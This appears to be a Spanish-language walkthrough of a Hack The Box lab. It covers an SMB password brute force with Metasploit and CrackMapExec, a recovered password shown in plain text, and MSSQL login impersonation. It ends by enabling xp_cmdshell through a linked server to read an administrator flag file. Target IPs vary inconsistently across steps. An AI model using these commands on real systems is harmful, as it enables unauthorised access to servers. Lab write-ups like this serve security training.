Inlanefreight - Hard: Explotación SMB y MSSQL (HTB)

Objetivo: Revisar la seguridad del servidor y obtener el contenido de flag.txt.
Target: 10.129.203.7 (Inlanefreight.htb)
Flag format: HTB{...}


🔎 Escaneo inicial de puertos

sudo nmap -p- --min-rate 5000 --open -sS -n -sVC 10.129.176.177

Puertos abiertos detectados:
Resultados del escaneo:

Puerto Estado Servicio Versión / Información
135 Open msrpc Microsoft Windows RPC
445 Open microsoft-ds SMB (Server Message Block)
1433 Open ms-sql-s Microsoft SQL Server 2019 RTM (15.00.2000.00)
3389 Open ms-wbt-server Microsoft Terminal Services (RDP)
Información clave obtenida:

🔎 Listado de recursos compartidos

Comando ejecutado:

 smbclient -L //10.129.176.177 -N

🗂️ Acceso al recurso compartido Home

Comando ejecutado:

smbclient -L //10.129.38.144 -N

{FA71A1CA-28B7-4489-9646-CD9696620D9B}.png

🔓 3. Fuerza Bruta y Obtención de Credenciales

🎯 Ataque de fuerza bruta al SMB para el usuario fiona

Herramientas utilizadas:

  1. Metasploit:
msfconsole -q
use auxiliary/scanner/smb/smb_login
set RHOST 10.129.176.177
set SMBUSER  fiona
set PASS_FILE creds.txt  # Archivo con posibles contraseñas
exploit

Encontrado la contraseña de fiona
Pasted image 20250920131017.png
CrackMapExec:

crackmapexec smb 10.129.176.177 -u fiona -p creds.txt 

🗄️ 4. Conexión y Explotación de MSSQL

🔌 Conexión a la base de datos

Comando ejecutado:

sqsh -S 10.129.176.177  -U 'WIN-HARD\fiona' -P '48Ns72!bns74@S84NNNSl'

👤 Verificación de Impersonation

Consulta ejecutada para encontrar usuarios que se pueden suplantar:

SELECT b.name
FROM sys.server_permissions a
JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

🎭 Suplantación de usuario (john)

Consultas ejecutadas:

EXECUTE AS LOGIN = 'john';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
GO

🔗 Descubrimiento de Servidor Vinculado (Linked Server)

Consulta ejecutada para enumerar servidores vinculados:

SELECT srvname, isremote FROM sysservers

⚡ 5. Explotación a través del Servidor Vinculado

🛠️ Habilitación de xp_cmdshell en el servidor vinculado

Consultas ejecutadas (desde la sesión actual):

EXECUTE('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV];
EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV];

📄 Lectura de la flag a través del servidor vinculado

Consulta final ejecutada:

EXECUTE('EXEC xp_cmdshell ''type C:\Users\Administrator\Desktop\flag.txt'';') AT [LOCAL.TEST.LINKED.SRV];